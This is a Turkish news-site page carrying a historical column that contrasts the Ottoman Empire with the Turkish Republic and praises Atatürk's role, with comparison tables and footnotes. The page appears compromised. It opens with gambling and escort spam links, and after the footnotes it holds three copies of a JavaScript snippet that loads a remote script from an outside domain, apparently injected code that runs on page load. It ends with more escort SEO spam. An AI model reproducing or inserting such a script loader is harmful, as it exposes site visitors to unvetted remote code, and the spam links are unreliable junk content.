05 Aralık 2025 itibariyle Covid-19 ile mücadelede aşılanan sayısı kişiye ulaştı.

jojobet
Marsbahis
deneme bonusu veren siteler
1xbetbetpasmariobet
escort konya
a
en iyi rulet siteleri
Prof Dr. Behçet Kemal Yeşilbursa

Prof Dr. Behçet Kemal Yeşilbursa

24 Kasım 2025 Pazartesi

Telgraf telleriyle gelen bir zafer…

Telgraf telleriyle gelen bir zafer…
3

BEĞENDİM

ABONE OL

Nasıl Türkiye Cumhuriyeti diğer çağdaş ulusal devletlerarasında belirgin bir yer kazanmışsa, kurucusu Mustafa Kemal Atatürk’ün de yirminci yüzyılın diğer devlet adamları arasında seçkin bir yeri vardır. Peki, Cumhuriyet ile imparatorluk arasındaki başlıca benzerlikler/karşıtlıklar nelerdir? İmparatorluktan Cumhuriyete geçişte Atatürk’ün rolü nedir?

Osmanlı Devleti, askeri yönetim ve din kurumlarından oluşmaktaydı. Dış politikası ise hemen hemen aralıksız süren savaşlarla doluydu. Hanedanın kurucusu Osman’dan Vahdettin’e kadar, Osmanlılar kılıçla yükselip, kılıçla yenilgiye uğradılar.(1).

Türkiye Cumhuriyeti de savaşarak kuruldu. Kurtuluş Savaşı (1919-1923) yirminci yüzyılda yapılan ilk başarılı ulusal bağımsızlık savaşıdır. Fakat Atatürk’ün hedefi daima “yurtta barış, dünyada barış” olmuştur. Zorunlu ve hayati olmadıkça savaşı bir cinayet olarak nitelemiştir. Gerçekten de Türkiye Cumhuriyeti 1950’de Kore’de ve 1974’te Kıbrıs’ta yaptığı askeri müdahalelerin dışında yüz yıldır (1923-2023) içte ve dışta barışı sürdürmüştür. Böylece, her elli yılın otuzunu savaşarak geçiren Osmanlı modelinin tam aksine, hemen hemen yüz yıllık barışçıl bir geçmişi olan yeni bir Türkiye ortaya çıktı.

Osmanlı Devleti ise istekli veya isteği dışında olsa da dört yüz yıl boyunca Avrupa güçleri arasındaki başlıca savaşların tümüne katıldı. Mesela 1914 yılında Osmanlı Devleti, Birinci Dünya Savaşı’na isteğiyle veya diğer güçlerin zoruyla katılmış olsa da dönemin bahriye nazırı Cemal Paşa’nın sonradan yaptığı bir yorum, o dönemde yaygın olan anlamsız mertliğe bir örnektir:

Ruslar kazandıktan sonra, İngilizlerin ve Fransızların boyunduruğu altına girmektense, sonsuz özgürlüğe kavuşma ümidiyle kanımızın son damlasına kadar savaşmak, kahraman ve yüce bir ulusun başvuracağı tek seçenekti. Veya “şerefimizden başka her şeyi yitirdik” diyebilmek, böylece şeref ve kahramanlık ilkeleri üzerine kurulmuş şanlı bir milli tarihi görkemli bir biçimde kapatmak…(2)

Osmanlı Devleti’nin Birinci Dünya Savaşı’na katılması, savunma amacıyla yapılan ve kaçınılmaz bir girişimden ziyade, yanlış planlanan ve saldırgan nitelikler taşıyan bir hareketti. Bu da Türk ulusunun değil 600 yıllık Osmanlı Devleti’nin son bulmasına neden oldu. Bu sonun “görkemliliği” veya Cemal Paşa’nın yenilgiden sonra kaçışının şerefli bir hareket olup olmadığı ayrı bir konudur.

Bir kuşak sonra, 1939-1945 yılları arasında, Türkiye’nin dört bir yanı saldırgan güçler tarafından kuşatılmıştı ve İkinci Dünya Savaşı’nın sonucunu etkileyen savaşlardan bazıları, Türkiye’nin çok yakınlarında yapıldı. İsmet Paşa 1941 yılında savaşa katılmaları için İtilaf güçlerinden, 1942’de de İttifak güçlerinden gelen baskılara kesin olarak karşı koydu. Türkiye, Şubat 1945’te, savaş sonrası kurulacak olan “Yeni Dünya Düzeninde” yer alabilmek için Almanya’ya sembolik anlamda savaş ilan etti.

Türkiye’nin o dönemde savaşa girmekten nasıl kurtulduğu, Mussolini’nin dışişleri bakanının Hitler ile 1941 ilkbaharında yapmış olduğu bir görüşmenin kayıtlarında gizlidir:

Zor kullanarak Türkiye’den geçmeye kalkma olasılığı düşünülemez. Türklerden gelecek şiddetli bir direnmenin yanı sıra, mesafe herhangi bir askerî harekâtı tehlikeli kılacak ve sonucunu da tehlikeye sokacaktır. Diplomatik açıdan da Türkiye’yi İtilaf güçlerinin yörüngesine çekmek zor görünmektedir, çünkü bunun karşılığı olarak Türkiye’ye ne tür bir siyasal kazanç sağlanabileceğini anlamak olanaksızdır. Führer, Türkiye’nin Suriye vaadiyle bile hoşnut edilemeyeceğini bilmektedir. Zaten bu teklif Arap dünyasında sonsuz karmaşıklıklara yol açacaktır.(3)

Siyasal yapısı bakımından Osmanlı Devleti hanedanlığa bağımlılık ve halifelik ilkelerine dayanıyordu. Ayrıca nitelik açısından çok dinli ve çok ulusluydu. Yönetici sınıfını, devletin çeşitli yönetim kademelerinde özenle eğitilmiş olan devşirmeler; tüccar sınıfını Rumlar, Ermeniler ve Yahudiler; köylüsünü de Balkanlardaki ve Anadolu’daki Müslüman Türkler oluşturuyordu. Hoşgörü, 13. yüzyıldan 16. yüzyıla kadar Osmanlı Devleti’nin yayılmasına yardımcı oldu. Fakat aynı hoşgörü 19. yüzyılın sonlarında ve 20. yüzyılın başlarında Osmanlı Devleti’nin çöküşüne neden oldu.

İmparatorluk ile Cumhuriyet arasındaki karşıtlık bir daha çarpıcılığını göstermektedir. Osmanlı uyrukları arasında Türkler etnik olarak azınlıkta kalmışlardı ve bu durum 19. yüzyılda Osmanlı Devleti’nin topraklarını yitirmesine kadar sürdü. Günümüz Cumhuriyetinde de benzer bir durumun yaşandığı gözden kaçırılmamalıdır. Nasıl Osmanlı Devleti, hanedanlığa, örfe ve dine bağımlılık ilkelerine dayalı olarak kurulmuşsa, Türkiye Cumhuriyeti de sınırları belli laik bir ulus devlet olarak kuruldu. Osmanlı Devleti’nin sınırları, savaşın değişen kaderiyle sürekli değişikliğe uğramış, yeni Türkiye’nin sınırları ise sabit kalmıştır.

Cumhuriyetin iç politikası da İmparatorluktan çok farklıdır. İmparatorluk askeri ve dini kurumlardan oluşmaktaydı. Cumhuriyet ise laik ve ulus devlet esası üzerine kuruldu. Osmanlı Devleti’nin reform girişimleri çok yönlü olmasına rağmen hem gönülden uygulanmadı hem de etkin olamadı. Bu reformlar, bir yandan çağdaş yöntemleri, kurumları getirmeyi amaçlıyor diğer yandan da geleneksel yapıyı korumayı sürdürüyordu. Dolayısıyla çok geçmeden araçlarla amaçlar arasında bir gerilim ortaya çıktı. İmparatorluğun son dönemlerindeki ekonomik ve toplumsal yaşamın birçok yönü, reform girişimlerinin kusurlarını ortaya çıkardı.

Ulusal direniş hareketi ve Cumhuriyet, son Osmanlı döneminin doğal bir uzantısıydı. Daha önceki yıllarda yapılan askeri ve yönetimle ilgili reformlar, gereken ulusal bilince kaynak olmuş ve yönetim kadrolarını biçimlendirmiştir. Fakat Mustafa Kemal’in başında olmadığı bu hareket, yerel veya bölgesel bir direnişten öteye gidemez ve bağımsızlık savaşını sultanla beraber, sultansız veya gerekirse sultana karşı sürdürmek için cesur kararlar alınamazdı. Dolayısıyla Cumhuriyet, Osmanlı’nın devletini değil rejimini reddetmiştir.

Reformlar konusunda kendi görüşlerinde desteksiz kalan Abdullah Cevdet gibi bir eleştirmen, 1913 gibi erken bir tarihte: İkinci bir uygarlık yoktur, uygarlık Avrupa uygarlığı demektir ve bu gülü dikeni ile dışarıdan almaktır. Cevdet’in bu aydın görüşü, siyasal ve toplumsal bir gerçek duruma dönüştüren Mustafa Kemal oldu ve O’nun Cumhuriyeti benimseme örneği ne Osmanlı Türkiye’sinde ne de Müslüman dünyasında görülmüştür. Mustafa Kemal olmaksızın Türkiye Cumhuriyeti Devleti bu denli hızlı ve kusursuz bir biçimde kurulamaz ve başarıya ulaşamazdı. Zira İmparatorluk değişmemek/değiştirmemek ilkesi üzerine, Cumhuriyet ise değişmek/değiştirmek ilkesi üzerine kurulmuştur. Yıkılan Osmanlı Devleti ile yeni kurulan Türkiye Cumhuriyeti arasındaki karşıtlık bundan daha çarpıcı olamazdı.

Mustafa Kemal’in İmparatorluktan Cumhuriyete geçişi sağlamaktaki kişisel rolü önemlidir. Çöken İmparatorluğun toplumsal ve ekonomik yapısındaki önemli eksiklikleri, zamanındaki diğer kişilerden çok daha önce ve açık olarak görmüştür. Diğerleri İslam Birliği veya Türk Birliği gibi düşler kurarken, Mustafa Kemal, Misak-ı Milli’den ödün vermeyen, gerçekçi biri olduğunu kanıtlamıştır. Siyasi ve askeri girişimlerinde doğru zamanlaması ve taktiği çok akıllıca ve kusursuzdu. Yaşam boyu bir eylem adamı iken, söylevlerinde siyaset ile ilgili temel kuramları ancak Machiavelli veya Rousseau’nun başarabilecekleri bir biçimde açık ve kesin olarak ortaya koydu. Rousseau, Toplumsal Sözleşme isimli eserinde, bir devletin kurucusunun “bir asır boyunca çalışmak, bir sonraki asırda da ürünlerini toplamak” zorunda olduğunu yazar. Mustafa Kemal’in kurduğu laik Cumhuriyetin, yirminci yüzyılda ve ümit edilir ki çok daha sonları da sınanacaktır. Yani Cumhuriyet O’nun ifadesiyle “ilelebet payidar kalacaktır.”

1922 yılında bir Türk gazetecinin “savaşı nasıl kazandınız?” diye sorması üzerine, gülümseyerek, şu yanıtı verdi: “Telgraf telleriyle.” Mustafa Kemal’in öncülüğü her bakımdan uzlaştırma, bağdaştırma ve haberleşme ile elde edilen usta bir öncülüktü. Toplumu ve toplumsal yaşamı, gerici, aşırı tutucu ve korkak din adamlarının elinden kurtardı, ancak yeni Cumhuriyetin dine karşı tutumu düşmanca olmadı. Bunun sonucu olarak, tümüyle gelişmiş, laik, demokratik bir ulusal devlet ortaya çıktı. Siyasal bağımsızlığını yeniden kazanmak için değil onu korumak için girişilen bir hareket olduğundan, sömürgeciliğe karşı yapılan diğer devrimlerden farklıdır.

Atatürk’ün başarısının sağlamlığını kanıtlayan en güvenilir destek, günümüz Türkiye’sinin siyasal, toplumsal ve kültürel durumunun incelenmesidir. Cumhuriyetin sınırları sabitliğini korumuş ve komşu ülkeler tarafından kabul edilmiştir. Aynı şekilde, Cumhuriyete karşı çeşitli hareketler olmuşsa da bunlar başarılı olamamıştır. Günümüzde bile siyasal anlaşmazlığın yoğunlaşmasına rağmen Cumhuriyet karşıtlığının başarılı olma şansı görünmemektedir.

Atatürk’ün miras olarak bıraktığı ulusal bağımsızlık, Cumhuriyet ve laiklik yüzyıldır Türkiye’nin barış içinde kalmasını sağlamışsa, Atatürk’ün başarıları aynı şekilde, günümüz Türkiye’sinin siyasal, toplumsal ve ekonomik sorunlarının çözülmesinde ve çalkantılı bir uluslararası çevrede süren tehlikelere karşı göğüs gerecektir.

Sonuç olarak devlet ebet müddettir. Atatürk’ün ifadesiyle “Cumhuriyet ilelebet payidar kalacaktır.” Türklerin tarih sahnesine çıkıp devlet kurduktan bugüne akıp geçen zaman içinde aslında bir tek Türk devleti vardır. Zaman içinde bu devletin sadece yöneticileri yani hanedanları değişmiştir. Devlet aynı devlettir. Millet aynı millettir. Yani Türk devleti ve Türk milletidir. Eğer bir benzetme yapacak olursak at (devlet) aynıdır sadece zaman içinde süvarisi (yöneticisi) değişmiştir. Kimi zaman Selçuk, kimi zaman Osman olmuştur. Ama bugün atın yani devletin gerçek sahibi Türk milletinin ta kendisidir.

 

 

Cumhuriyet vs İmparatorluk?

Siyasal Yapı

Özellik Osmanlı Devleti Türkiye Cumhuriyeti
Yönetim Şekli Monarşi (Mutlak → Meşruti) Cumhuriyet
Egemenlik Anlayışı Padişahın kutsal ve mutlak yetkisi Halk egemenliği (TBMM)
Hukuk Sistemi Şer’i hukuk + örfi hukuk Laik hukuk sistemi (Medeni Kanun vb.)
Bürokrasi Saray merkezli, sadrazam ve divan Bakanlıklar ve meclis sistemi

 

Toplumsal Yapı

Özellik Osmanlı Devleti Türkiye Cumhuriyeti
Toplum Yapısı Millet sistemi (din temelli ayrım) Yurttaşlık temelli eşitlik
Eğitim Medreseler, Enderun Laik ve bilimsel eğitim (MEB, üniversiteler)
Kadın Hakları Sınırlı, geleneksel roller Seçme-seçilme hakkı, eğitimde eşitlik
Dil Osmanlı Türkçesi (Arapça-Farsça etkili) Türkçe (sadeleştirme ve dil devrimi)

 

Ekonomik Yapı

Özellik Osmanlı Devleti Türkiye Cumhuriyeti
Ekonomi Modeli Tarım ağırlıklı, tımar sistemi Karma ekonomi, sanayileşme çabaları
Vergi Sistemi Aşar, cizye, haraç Modern vergi sistemi (Gelir, KDV vb.)
Sanayi Zayıf, lonca sistemi Sanayi planları, fabrikalar, KİT’ler
Dış Ticaret Kapitülasyonlar nedeniyle bağımlı Gümrük politikalarıyla korumacı yaklaşım

 

Kültürel ve Eğitim Reformları

Alan Osmanlı Cumhuriyet
Eğitim Medrese, dini ağırlıklı Tevhid-i Tedrisat, laik sistem
Harf Arap alfabesi Latin alfabesi (1928 Harf İnkılabı)
Bilim Dini otorite etkili Pozitif bilimler teşvik edildi
Kadın Eğitimi Sınırlı Kız çocuklarının eğitimi yaygınlaştı

 

Dış Politika

Özellik Osmanlı Devleti Türkiye Cumhuriyeti
Yaklaşım Yayılmacı, fetih odaklı Barışçıl, “Yurtta sulh, cihanda sulh”
İttifaklar Avrupa ile karmaşık ilişkiler Lozan sonrası denge politikası
Diplomasi Elçilikler sınırlıydı Aktif diplomasi, uluslararası örgütler

Genel Değerlendirme

  • Osmanlı Devleti, çok uluslu ve çok dinli bir imparatorluktu; merkezi otorite zamanla zayıfladı.
  • Türkiye Cumhuriyeti, ulus-devlet anlayışıyla kuruldu; modernleşme ve laikleşme temel hedeflerdi.
  • Osmanlı’dan miras kalan kurumlar ve sorunlar, Cumhuriyet döneminde reformlarla dönüştürüldü.

Saygılarımla…

Notlar:

  1. Profesör Quincy Wright’ın hesaplarına göre, Osmanlı Devleti 1450-1900 yılları arasındaki dönemin %61’ini savaşarak geçirdi. Ya da her elli yıl için ortalama 30,5 yıl. Bunu aşan tek ülke 33.5 yılla İspanya’dır. Osmanlı Devleti tarihinde yalnız bir kez, 1739’dan 1768’e kadar, yirmi beş yıldan daha uzun süren bir barış dönemi yaşamıştır. Bkz. Quincy Wright, A Study of War, Chicago, 1942, Cilt: I, s. 653.
  2. Djemal Pasha, Memoires of a Turkish Statesman, Londra, 1922, s. 125.
  3. [Kont Galeazzo] Ciano’s Diplomatic Papers, Londra, 1948, s. 435.

 ;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);



bursa escort görükle eskort görükle escort bayan bursa görükle escort bursa escort bursa escort bayan